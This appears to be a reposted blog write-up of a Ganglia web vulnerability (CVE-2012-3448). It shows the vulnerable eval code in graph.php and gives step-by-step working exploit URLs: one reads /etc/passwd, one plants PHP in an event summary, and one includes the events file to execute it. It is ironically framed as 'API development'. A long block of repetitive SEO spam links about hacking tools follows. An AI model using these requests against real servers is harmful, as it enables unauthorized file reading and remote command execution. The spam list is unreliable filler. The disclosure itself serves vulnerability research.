http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Read more
- Growth Hacker Tools
- Pentest Box Tools Download
- Install Pentest Tools Ubuntu
- Tools 4 Hack
- Nsa Hack Tools
- Hack App
- Game Hacking
- Hack Rom Tools
- Hacker Tools Software
- Hack Apps
- Hacker Tools Linux
- Hacker Tools For Mac
- Hack Tools For Mac
- Blackhat Hacker Tools
- Hack Tools For Ubuntu
- Hacking Tools For Kali Linux
- Hack Tool Apk No Root
- Hack Tools Online
- World No 1 Hacker Software
- Hack Tools Github
- Hacker Tools Github
- Pentest Tools Website Vulnerability
- Pentest Tools Nmap
- Hack App
- Hak5 Tools
- Best Hacking Tools 2019
- Pentest Tools Online
- Best Hacking Tools 2020
- How To Hack
- Hacking Tools For Windows
- How To Make Hacking Tools
- Ethical Hacker Tools
- World No 1 Hacker Software
- Best Hacking Tools 2019
- Hacking Tools Kit
- Hacker Tools For Mac
- Hacking Tools For Games
- Hack Rom Tools
- Hacking Tools Name
- Hack Tools 2019
- Hacking Tools 2020
- Hacking Apps
- Hacking Tools Windows 10
- Hacking Tools For Windows
- Hacker Tools Linux
- Hacking Tools And Software
- What Are Hacking Tools
- Best Hacking Tools 2020
- Hack Tools For Ubuntu
- Hacker Tools Github
- Hacking Tools For Beginners
- Hacking Tools Kit
- Tools 4 Hack
- Hacking Tools Github
- Hacking Tools For Games
- Wifi Hacker Tools For Windows
- Hack Tools
- Hacking Tools Hardware
- Hacking Apps
- Hacker Tools 2019
- Tools 4 Hack
- Hacking Tools Online
- Ethical Hacker Tools
- Hack And Tools
- Hack Tools For Mac
- Tools For Hacker
- Pentest Tools Kali Linux
- Computer Hacker
- Pentest Tools Apk
- Hacker Tools For Windows
- Pentest Tools Apk
- Physical Pentest Tools
- Best Hacking Tools 2020
- Android Hack Tools Github
- Hacker Security Tools
- Hacker Tools Free
- Pentest Tools Nmap
- Tools For Hacker
- Pentest Recon Tools
- Hacking Tools Windows
- Github Hacking Tools
- Pentest Tools For Android
- Hacking Apps
- Beginner Hacker Tools
- Hacking Tools And Software
- Hacking Tools Pc
- Hacking Tools Github
- Hacking App
- Hacking App
- Hacking Apps
- How To Make Hacking Tools
- Hacking Tools Kit
- Hacker Hardware Tools
- Pentest Tools Windows
- Black Hat Hacker Tools
- Install Pentest Tools Ubuntu
- Hack Apps
- Pentest Tools Find Subdomains
- Growth Hacker Tools
- Pentest Tools Url Fuzzer
- Hacker Search Tools
- Pentest Tools Find Subdomains
- Hacker Tools Apk
- New Hack Tools
- Pentest Tools Subdomain
- Hack Tools
- Hack Tools For Games
- Ethical Hacker Tools
- Hacking Tools 2019
- Hacker Hardware Tools
- Hacking Tools 2020
- Pentest Tools List
- Hacker Tools List
- Hack Tools Online
- Hacking Tools For Games
- Best Hacking Tools 2019
- Pentest Tools Online
- Hack Tools
- Hacker Hardware Tools
- Hacking Tools Download
- How To Hack
- Hacks And Tools
- Hacker Tools Free Download
- World No 1 Hacker Software
- Hacker Tools For Windows
- Beginner Hacker Tools
- Hack Tool Apk
- Hacking Tools Hardware
- Hacking Tools Mac
- Hacker Tool Kit
- Hacking Tools Windows
- Pentest Automation Tools
- Hacker Tools Apk
- Hacker Tools For Pc
- Hack Tools Pc
- Pentest Tools Bluekeep
- Github Hacking Tools
- Beginner Hacker Tools
- Hacking Tools 2019
- Pentest Tools Url Fuzzer
- Hack Tools Online
- Pentest Tools Linux
- Hacker Tools Windows
- Hacker Tools Linux
- Pentest Tools For Windows
- Computer Hacker
- Pentest Tools For Windows
- Hacking Tools
- Pentest Tools For Android
No hay comentarios:
Publicar un comentario